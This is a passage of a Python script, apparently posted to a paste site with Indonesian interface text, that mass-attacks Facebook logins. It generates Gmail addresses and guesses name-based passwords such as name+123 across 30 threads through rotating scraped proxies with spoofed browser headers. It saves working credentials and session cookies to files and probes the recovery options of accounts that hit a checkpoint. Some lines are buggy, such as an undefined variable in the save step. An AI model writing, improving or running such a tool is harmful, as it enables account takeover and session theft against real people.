  1218.                 tree.add(Panel.fit(f"%s{coki}"%(H2),style=f"#AAAAAA"))
  1219.                 tree.add(Panel.fit(f"%s{ua}"%(H2),style=f"#AAAAAA"))
  1220.                 prints(tree)
  1221.                 open('/sdcard/MBF-OK/'+'MBF-OK.txt','a').write(idf+'|'+pw+'|'+kuki+'\n')
  1222.                 break          
  1223.             elif "checkpoint" in po.cookies.get_dict().keys():
  1224.                 tree = Tree(Panel.fit(f"%sLOGIN CHECKPOINT"%(K2),style=f"#AAAAAA"))
  1225.                 tree.add(Panel.fit(f"%s{idf} | {pw}"%(K2),style=f"#AAAAAA")).add(Panel.fit(f"%s{tahun(idf)}"%(K2),style=f"#AAAAAA"))
  1226.                 tree.add(Panel.fit(f"%s{ua}"%(K2),style=f"#AAAAAA"))
  1227.                 prints(tree)
  1228.                 open('/sdcard/MBF-CP/'+'MBF-CP.txt','a').write(idf+'|'+pw+'\n')
  1229.                 akune.append(idf+'|'+pw)
  1230.                 ceker(idf,pw)
  1231.                 cp+=1
  1232.                 break  
  1233.                
  1234.             else:
  1235.                 continue
  1236.         except requests.exceptions.ConnectionError:
  1237.             time.sleep(31)
  1238.     loop+=1
  1239.    
  1240. #----------[ CEK-OPSI ]----------# 
  1241. def ceker(idf,pw):
  1242.     global cp
  1243.     rc = random.choice
  1244.     url = rc(["mbasic.facebook.com"])
  1245.     head = (
  1246.     {
  1247.     "Host": url,
  1248.     "cache-control": "max-age=0",
  1249.     "upgrade-insecure-requests": "1",
  1250.     "origin": "https://"+url,
  1251.     "content-type": "application/x-www-form-urlencoded",
  1252.     "user-agent": "Mozilla/5.0 (Linux; Android 10; DOOGEE B10 Build/KOTG49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Mobile Safari/537.36",
  1253.     "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
  1254.     "x-requested-with": "mark.via.gp",
  1255.     "sec-fetch-site": "same-origin",
  1256.     "sec-fetch-mode": "navigate",
  1257.     "sec-fetch-user": "?1",
  1258.     "sec-fetch-dest": "document",
  1259.     "referer": f"https://{url}/index.php?next=https%3A%2F%2Fdevelopers.facebook.com%2Ftools%2Fdebug%2Faccesstoken%2F",
  1260.     "accept-encoding": "gzip, deflate",
  1261.     "accept-language": "en-US,en;q=0.9"
  1262.     }
  1263. )
  1264.     ses = requests.Session()
  1265.     try:
  1266.         hi = ses.get('https://'+url)
  1267.         kontol = sop(ses.post(
  1268.         'https://'+url+'/login.php',
  1269.         data={
  1270.         'email':idf,
  1271.     'pass':pw,
  1272. 'login':'submit'
  1273.         },headers=head, allow_redirects=True).text,'html.parser')
  1274.         jo = kontol.find(
  1275.         'form'
  1276.         )
  1277.         data = {}
  1278.         lion = [
  1279.         'nh',
  1280.     'jazoest',
  1281. 'fb_dtsg',
  1282.     'submit[Continue]',
  1283.         'checkpoint_data'
  1284.         ]
  1285.         for anj in jo('input'):
  1286.             if anj.get('name') in lion:
  1287.                 data.update({anj.get('name'):anj.get('value')})
  1288.         kent = sop(ses.post('https://'+url+str(jo['action']), data=data, headers=head).text,'html.parser')
  1289.         opsi = kent.find_all('option')
  1290.         if len(opsi)==0:
  1291.             tree = Tree("")
  1292.             tree.add(Panel.fit(f"\r%sTapyes / A2f ( cek di mbasic )"%(H2),style=f"#AAAAAA"))
  1293.             prints(tree)
  1294.             #open('MBF-CP/'+'MBF-Tapyes.txt','a').write(idf+'|'+pw+'|'+'\n')
  1295.             #cp+=1
  1296.         else:
  1297.             for opsii in opsi:
  1298.                 print('\r%s---> %s%s'%(kk,opsii.text,x))
  1299.     except Exception as c:
  1300.         tree = Tree("")
  1301.         tree.add(Panel.fit(f"\r%sSpam IP Tidak Dapat Cek Opsi Checkpoint"%(M2),style=f"#AAAAAA"))
  1302.         prints(tree)
  1303.         #open('MBF-CP/'+'MBF-CP.txt','a').write(idf+'|'+pw+'|'+'\n')
  1304.         #cp+=1
  1305.            
  1306. #----------[ CRACK-EMAIL ]----------#                    
  1307. def krek_email():
  1308.     rc = random.choice
  1309.     rr = random.randint
  1310.     xc = [" muhammad"," firman"," pratama"," tyz"," galau"," semarang"," boyolali"," cilacap"," kebumen"," banyumas"," herex"," tuban"," sumedang"," aja"," new"," baru"," setia"," sayang"," cinta"," syank kamu"," cantik"," ganteng"," imut"," kalem"," sragen"," susah sembuh"," sudah sembuh"," sakit"," wae"," sulung"," nur"," dwi"," x gans"," x jebe"," x cogan"," x id"," ganong"," situbondo"," aremania"," sunda"," garut"," cirebon"," sukabumi"," medan"," thejack"," bobotoh"," bonek"," suroboyo"," surabaya"," persebaya"," persib"," persija"," cilacap"," jepara"," solo"," official"," manis"," imut"," kalem"," utama"," sukses"," real"," semok"," kesepian"," rentcar"," makmur"," jaya"," jr"," tasik"," malang"," jogja"," mama"," ibuknya"," bundanya"," tiktok"," kece"," keren"," baru"," jutek"," saja"," putri"," andi"," dewi"," tri"," dian"," sri"," putri"," eka"," sari"," aditya"," basuki"," budi"," joni"," toni"," bekti"," cahya"," harahap"," riski"," farhan"," aden"," joko"," firman"," sulis"," soleh"," gagal"," kacau"," sulis"," rahmat"," indah"," pribadi"," saputro"," saputra"," kediri"," kudus"," jember"," situbondo"," pemalang"," wonosobo"," trenggalek","  tuban"," gresik"," bangkalan"," jombang"," kediri"," lamongan"," lumajang"," madiun"," magetan"," mojokerto"," nganjuk"," pacitan"," ngawi"," pasuruan"," ponorogo"," pamengkasan"," sidoarjo"," tuban"," blitar"," kediri"," banjarnegara"," batang"," blora"," brebes"," grobokan"," karanganyar"," kendal"," klaten"," kudus"," pati"," pekalongan"," rembang"," sragen"," tegal"," temanggung"," wonogiri"," wonosobo"," sukoharjo"," salatiga"," bandung"," ciamis"," cianjur"," cirebon"," indramayu"," majalengka"," subang"," sumedang"," purwakarta"," banjar"," bekasi"," bogor"," comahi"," depok"," tasikmalaya "]
  1311.     blk = [" muhammad"," firman"," pratama"," tyz"," galau"," semarang"," boyolali"," cilacap"," kebumen"," banyumas"," herex"," tuban"," sumedang"," aja"," new"," baru"," setia"," sayang"," cinta"," syank kamu"," cantik"," ganteng"," imut"," kalem"," sragen"," susah sembuh"," sudah sembuh"," sakit"," wae"," sulung"," nur"," dwi"," x gans"," x jebe"," x cogan"," x id"," ganong"," situbondo"," aremania"," sunda"," garut"," cirebon"," sukabumi"," medan"," thejack"," bobotoh"," bonek"," suroboyo"," surabaya"," persebaya"," persib"," persija"," cilacap"," jepara"," solo"," official"," manis"," imut"," kalem"," utama"," sukses"," real"," semok"," kesepian"," rentcar"," makmur"," jaya"," jr"," tasik"," malang"," jogja"," mama"," ibuknya"," bundanya"," tiktok"," kece"," keren"," baru"," jutek"," saja"," putri"," andi"," dewi"," tri"," dian"," sri"," putri"," eka"," sari"," aditya"," basuki"," budi"," joni"," toni"," bekti"," cahya"," harahap"," riski"," farhan"," aden"," joko"," firman"," sulis"," soleh"," gagal"," kacau"," sulis"," rahmat"," indah"," pribadi"," saputro"," saputra"," kediri"," kudus"," jember"," situbondo"," pemalang"," wonosobo"," trenggalek","  tuban"," gresik"," bangkalan"," jombang"," kediri"," lamongan"," lumajang"," madiun"," magetan"," mojokerto"," nganjuk"," pacitan"," ngawi"," pasuruan"," ponorogo"," pamengkasan"," sidoarjo"," tuban"," blitar"," kediri"," banjarnegara"," batang"," blora"," brebes"," grobokan"," karanganyar"," kendal"," klaten"," kudus"," pati"," pekalongan"," rembang"," sragen"," tegal"," temanggung"," wonogiri"," wonosobo"," sukoharjo"," salatiga"," bandung"," ciamis"," cianjur"," cirebon"," indramayu"," majalengka"," subang"," sumedang"," purwakarta"," banjar"," bekasi"," bogor"," comahi"," depok"," tasikmalaya "]
  1312.     global ok , cp
  1313.     prints(Panel(f"%s HAY KAK SILAKAN MASUKAN SATU USERNAME DI BAWAH INI "%(P2),width=80,padding=(0,12),style=f"#AAAAAA"))
  1314.     nama = console.input(f'[â€Ē] USERNAME : ')
  1315.     if ',' in str(nama):
  1316.         prints(Panel(f"%sINPUT YANG ANDA MASUKAN%s SALAH%s SILAKAN MASUKAN DENGAN BENAR"%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"));time.sleep(3);menu()
  1317.     prints(Panel(f"%s HAY KAK SILAKAN MASUKAN TOTAL TARGET EMAIL DI BAWAH INI"%(P2),width=80,padding=(0,10),style=f"#AAAAAA"))
  1318.     jumlah = console.input(f'[â€Ē] TOTAL : ')
  1319.     for xyz in range(int(jumlah)):
  1320.         A = nama
  1321.         B = f'{str(rc(xc))}',f'{str(rr(0,999999999))}',f'{str(rc(blk))}'f'{str(rc(xc))}{str(rr(0,999999999))}',f'{xyz}',f'{str(rc(blk))}{str(rr(0,999999999))}',f'{str(rc(xc))}{str(rc(blk))}'
  1322.         C = f'@gmail.com'
  1323.         D = f'{A}{str(rc(B))}{C}'
  1324.         if D in id:pass
  1325.         else:id.append(D+'|'+nama)
  1326.         if len(dump)==999999:setting()
  1327.         prints(Panel(f"\r TOTAL AKUN : [green] "+str(len(id)),width=80,padding=(0,28),style=f"#AAAAAA"))
  1328.         time.sleep(0.0000003)
  1329.     print("\r")
  1330.     atur_idx()
  1331.          
  1332. #----------[ MENU-IDZ ]----------#     
  1333. def atur_idx():
  1334.      rr = random.randint
  1335.      for khusus_random in id:
  1336.             cyxieon_id = rr(0,len(id2))
  1337.             id2.insert(cyxieon_id, khusus_random)
  1338.      user_agentx()
  1339.  
  1340. #----------[ USER-AGENT ]----------#              
  1341. def user_agentx():
  1342.     prints(Panel(f"%s HAY KAK APAKAH MAU MENAMBAHKAN USER AGENT MANUAL (y/t) "%(P2),width=80,padding=(0,10),style=f"#AAAAAA"))
  1343.     uatambah = input(f'[â€Ē] PILIH : ')
  1344.     if uatambah in ['y','Ya','ya','Y']:
  1345.          uadia.append('ya')
  1346.          prints(Panel(f"%s HAY KAK SILAKAN MASUKAN USER AGENT MANUAL KAKAK "%(P2),width=80,padding=(0,12),style=f"#AAAAAA"))
  1347.          mantap = input(f'[â€Ē] UA TAMBAH : ')
  1348.          uamu.append(mantap)
  1349.     else:
  1350.         uadia.append('no')
  1351.     passwordx()
  1352.  
  1353. #----------[ PASSWORD]----------#                  
  1354. def passwordx():
  1355.     prints(Panel(f"%s HAY KAK APAKAH MAU MENAMBAHKAN PASSWORD MANUAL (y/t) "%(P2),width=80,padding=(0,10),style=f"#AAAAAA"))
  1356.     passwtamb = input(f'[â€Ē] PILIH : ')
  1357.     if passwtamb in ['y','Y']:
  1358.         sandine.append('ya')
  1359.         prints(Panel(f"%s HAY KAK SILAKAN MASUKAN PW GUNAKAN ( , ) UNTUK PEMISAH "%(P2),width=80,padding=(0,9),style=f"#AAAAAA"))
  1360.         sandiku = input(f'[â€Ē] MASUKAN PW : ')
  1361.         sandimu = sandiku.split(',')
  1362.         for sandixnxx in sandimu:
  1363.              sandina.append(sandixnxx)       
  1364.     else:
  1365.         sandine.append('no')
  1366.     otomatisx()
  1367.    
  1368. #----------[ WORDLIST ]----------#              
  1369. def otomatisx():
  1370.     global prog,des
  1371.     prints(Panel(f"%s HAY KAK JANGAN LUPA MODE PESAWAT SETIAP 300 ID YA KAK "%(P2),width=80,padding=(0,10),style=f"#AAAAAA"))
  1372.     prog = Progress(TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  1373.     des = prog.add_task('',total=len(id2))
  1374.     with prog:
  1375.         with tred(max_workers=30) as pool:
  1376.             for akun in id2:
  1377.                 idf,nama = akun.split('|')[0],akun.split('|')[1].lower()
  1378.                 depan = nama.split(" ")[0]
  1379.                 pwx = []
  1380.                 if len(nama)<=5:
  1381.                     if len(depan)<=1 or len(depan)<=2:
  1382.                         pass
  1383.                     else:
  1384.                         pwx.append(depan+"123")
  1385.                         pwx.append(depan+"1234")
  1386.                         pwx.append(depan+"12345")
  1387.                 else:
  1388.                     if len(depan)<=1 or len(depan)<=2:
  1389.                         try:
  1390.                             tengah = nama.split(" ")[1]
  1391.                             if len(tengah)<=3:
  1392.                                 pass
  1393.                             else:
  1394.                                 pwx.append(tengah+"123")
  1395.                                 pwx.append(tengah+"1234")
  1396.                                 pwx.append(tengah+"12345")
  1397.                                 pwx.append(nama)
  1398.                         except:
  1399.                             try:
  1400.                                 belakang = nama.split(' ')[2]
  1401.                                 if len(belakang)<=3:pass
  1402.                                 else:
  1403.                                     pwx.append(belakang+"123")
  1404.                                     pwx.append(belakang+"1234")
  1405.                                     pwx.append(belakang+"12345")
  1406.                                     pwx.append(nama)
  1407.                             except:
  1408.                                  pwx.append(nama)
  1409.                     else:
  1410.                         pwx.append(nama)
  1411.                         pwx.append(depan+"123")
  1412.                         pwx.append(depan+"1234")
  1413.                         pwx.append(depan+"12345")
  1414.                         pwx.append(depan+"321")
  1415.                 if '><asyinc><' in method:
  1416.                     pool.submit(crack,idf,pwx,'m.facebook.com')
  1417.                 else:
  1418.                     pool.submit(crack,idf,pwx,'m.facebook.com')
  1419.                    
  1420.     tree = Tree(Panel.fit(f"\r%sCrack Telah Selesai Dengan Jumlah%s OK : {ok} %sDan Jumlah%s CP:{cp}%s"%(P2,H2,P2,K2,P2),style=f"#AAAAAA"))
  1421.     tree.add(Panel.fit(f"\r%sApakah Ingin Lanjut Crack Kembali (y/t)"%(P2),style=f"#AAAAAA"))
  1422.     prints(tree)
  1423.     gas = input(f"[â€Ē] PILIH : ")
  1424.     if gas in ['y','Y','ya','Ya']:
  1425.         menu()
  1426.     else:
  1427.         tree = Tree("")
  1428.         tree.add(Panel.fit(f"\r%sGood Byee Jangan Lupa Bersyukur Dengan Hasilnya"%(K2),style=f"#AAAAAA"))
  1429.         prints(tree)
  1430.         time.sleep(2)
  1431.         exit() 
  1432.                        
  1433. #----------[ MOBILE ASYINC ]----------#                            
  1434. def crack(idf,pwx,url):
  1435.     global loop,ok,cp
  1436.     ses = requests.Session()
  1437.     rr = random.randint
  1438.     rc = random.choice
  1439.     emot = rc(["😝","😜","ðŸĪŠ"])
  1440.     prog.update(des,description=f"\r {emot} Cracking ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
  1441.     prog.advance(des)
  1442.     for pw in pwx:
  1443.         try:
  1444.             if 'ya' in uadia: ua = uamu[0]
  1445.             proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  1446.             open('socksku.txt','w').write(proxs)
  1447.             nip = rc(proxs)
  1448.             proxs = {'http': 'socks4://'+nip}
  1449.             ua = rc(ugen)
  1450.             ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
  1451.             ref = rc([f"https://{url}/login.php?skip_api_login=1&api_key=2099441543493930&kid_directed_site=0&app_id=2099441543493930&signed_next=1&next=https%3A%2F%2F{url}%2Fv11.0%2Fdialog%2Foauth%3Fapp_id%3D2099441543493930%26cbt%3D1693466972390%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df263885d940389%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%26client_id%3D2099441543493930%26display%3Dtouch%26domain%3Daccount.hoyoverse.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252F%2523%252Flogin%253Fcb_route%253D%25252Faccount%25252FaccountInfo%26locale%3Did_ID%26logger_id%3Df24ea8b6c2199ac%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df348efd0f31f7e8%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%2526frame%253Df506dad7e5f0a4%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26sdk%3Djoey%26version%3Dv11.0%26refsrc%3Ddeprecated%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df348efd0f31f7e8%26domain%3Daccount.hoyoverse.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252Ff33e116a09cb6c8%26relation%3Dopener%26frame%3Df506dad7e5f0a4%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr"])
  1452.             link = ses.get(f"https://{url}/login.php?skip_api_login=1&api_key=2099441543493930&kid_directed_site=0&app_id=2099441543493930&signed_next=1&next=https%3A%2F%2F{url}%2Fv11.0%2Fdialog%2Foauth%3Fapp_id%3D2099441543493930%26cbt%3D1693466972390%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df263885d940389%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%26client_id%3D2099441543493930%26display%3Dtouch%26domain%3Daccount.hoyoverse.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252F%2523%252Flogin%253Fcb_route%253D%25252Faccount%25252FaccountInfo%26locale%3Did_ID%26logger_id%3Df24ea8b6c2199ac%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df348efd0f31f7e8%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%2526frame%253Df506dad7e5f0a4%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26sdk%3Djoey%26version%3Dv11.0%26refsrc%3Ddeprecated%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df348efd0f31f7e8%26domain%3Daccount.hoyoverse.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252Ff33e116a09cb6c8%26relation%3Dopener%26frame%3Df506dad7e5f0a4%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr")
  1453.             date = {'m_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),'try_number': '0','unrecognized_tries': '0','email': idf,'prefill_contact_point': '','prefill_source': '','prefill_type': '','first_prefill_source': '','first_prefill_type': '',
  1454.             'had_cp_prefilled': 'false',
  1455.             'had_password_prefilled': 'false',
  1456.             'is_smart_lock': 'true',
  1457.             'bi_xrwh': re.search('name="bi_xrwh" value="(.*?)"',str(link.text)).group(1),'pass': pw,'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  1458.             "__dyn": "",
  1459.             "__csr": "",
  1460.             "__req": rc(["1","2","3","4","5","6","7","8","9","0"]),
  1461.             "__a": "",
  1462.             "__user": "0",
  1463.             "_fb_noscript": "true"}
  1464.             cokz = ";".join([ "%s=%s" % (key, value) for key, value in link.cookies.get_dict().items()])
  1465.             head = {"Host": url,
  1466.             "content-length": f"{len(str(date))}",
  1467.             "sec-ch-ua": f'"Not.A/Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(110,114))}", "Google Chrome";v="{str(rr(110,114))}"',
  1468.             "sec-ch-ua-mobile": "?1",
  1469.             "user-agent": ua,
  1470.             "viewport-width": f"str(rr(400,989)",
  1471.             "content-type": "application/x-www-form-urlencoded",
  1472.             "x-fb-lsd": re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  1473.             "sec-ch-ua-platform-version": f'"{str(rr(7,14))}.0.0"',
  1474.             "x-asbd-id": "129477",
  1475.             "x-requested-with": "mark.via.gp",
  1476.             "sec-ch-ua-full-version-list": f'"Not.A/Brand";v="{str(rr(8,20))}.0.0.0", "Chromium";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}", "Google Chrome";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}"',
  1477.             "sec-ch-prefers-color-scheme": "light",
  1478.             "sec-ch-ua-platform": '"Android"',
  1479.             "accept": "*/*",
  1480.             "origin": "https://"+url,
  1481.             "sec-fetch-site": "same-origin",
  1482.             "sec-fetch-mode": "cors",
  1483.             "sec-fetch-dest": "empty",
  1484.             "referer": ref,
  1485.             "accept-encoding": "gzip, deflate, br",
  1486.             "accept-language": "zh-CN;q=0.8,zh;q=0.7",
  1487.             "x-response-format": "JSONStream"}     
  1488.             links = rc([f"https://{url}/login/device-based/login/async/?api_key=2099441543493930&auth_token=ed9cb45a485f81810505130bc83f37bb&skip_api_login=1&signed_next=1&next=https%3A%2F%2F{url}%2Fv11.0%2Fdialog%2Foauth%3Fapp_id%3D2099441543493930%26cbt%3D1693466972390%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df263885d940389%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%26client_id%3D2099441543493930%26display%3Dtouch%26domain%3Daccount.hoyoverse.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252F%2523%252Flogin%253Fcb_route%253D%25252Faccount%25252FaccountInfo%26locale%3Did_ID%26logger_id%3Df24ea8b6c2199ac%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df348efd0f31f7e8%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%2526frame%253Df506dad7e5f0a4%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26sdk%3Djoey%26version%3Dv11.0%26refsrc%3Ddeprecated%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&refsrc=deprecated&app_id=2099441543493930&cancel=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df348efd0f31f7e8%26domain%3Daccount.hoyoverse.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252Ff33e116a09cb6c8%26relation%3Dopener%26frame%3Df506dad7e5f0a4%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&lwv=100"])
  1489.             po = ses.post(links,headers=head,data=date,cookies={"cookie":cokz},allow_redirects=False,proxies=proxs)
  1490.             if "c_user" in ses.cookies.get_dict().keys():
  1491.                 ok+=1
  1492.                 cooz = ses.cookies.get_dict()
  1493.                 coki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
  1494.                 tree = Tree(Panel.fit(f"%sLOGIN SUCKSES"%(P2),style=f"#AAAAAA"))
  1495.                 tree.add(Panel.fit(f"%s{idf}"%(H2),style=f"#AAAAAA")).add(Panel.fit(f"%s{pw}"%(H2),style=f"#AAAAAA"))
  1496.                 tree.add(Panel.fit(f"%s{coki}"%(H2),style=f"#AAAAAA"))
  1497.                 tree.add(Panel.fit(f"%s{ua}"%(H2),style=f"#AAAAAA"))
  1498.                 prints(tree)
  1499.                 open('/sdcard/MBF-OK/'+'MBF-OK.txt','a').write(idf+'|'+pw+'|'+kuki+'\n')
  1500.                 break          
  1501.             elif "checkpoint" in po.cookies.get_dict().keys():
  1502.                 tree = Tree(Panel.fit(f"%sLOGIN CHECKPOINT"%(K2),style=f"#AAAAAA"))
  1503.                 tree.add(Panel.fit(f"%s{idf} | {pw}"%(K2),style=f"#AAAAAA")).add(Panel.fit(f"%s{tahun(idf)}"%(K2),style=f"#AAAAAA"))
  1504.                 tree.add(Panel.fit(f"%s{ua}"%(K2),style=f"#AAAAAA"))
  1505.                 prints(tree)
  1506.                 open('/sdcard/MBF-CP/'+'MBF-CP.txt','a').write(idf+'|'+pw+'\n')
  1507.                 akune.append(idf+'|'+pw)
  1508.                 ceker(idf,pw)
  1509.                 cp+=1
  1510.                 break  
  1511.                
  1512.             else:
  1513.                 continue
  1514.         except requests.exceptions.ConnectionError:
  1515.             time.sleep(31)
  1516.     loop+=1
  1517.    
  1518. #----------[ SYSTEM-CONTROL ]----------#   
  1519. if __name__=='__main__':
  1520.     try:os.system('git pull')
  1521.     except:pass
  1522.     try:os.mkdir('MBF-DUMP')
  1523.     except:pass
  1524.     try:os.mkdir('MBF-OK')
  1525.     except:pass
  1526.     try:os.mkdir('MBF-CP')
  1527.     except:pass
  1528.     menu()    
Add Comment
Please, Sign In to add comment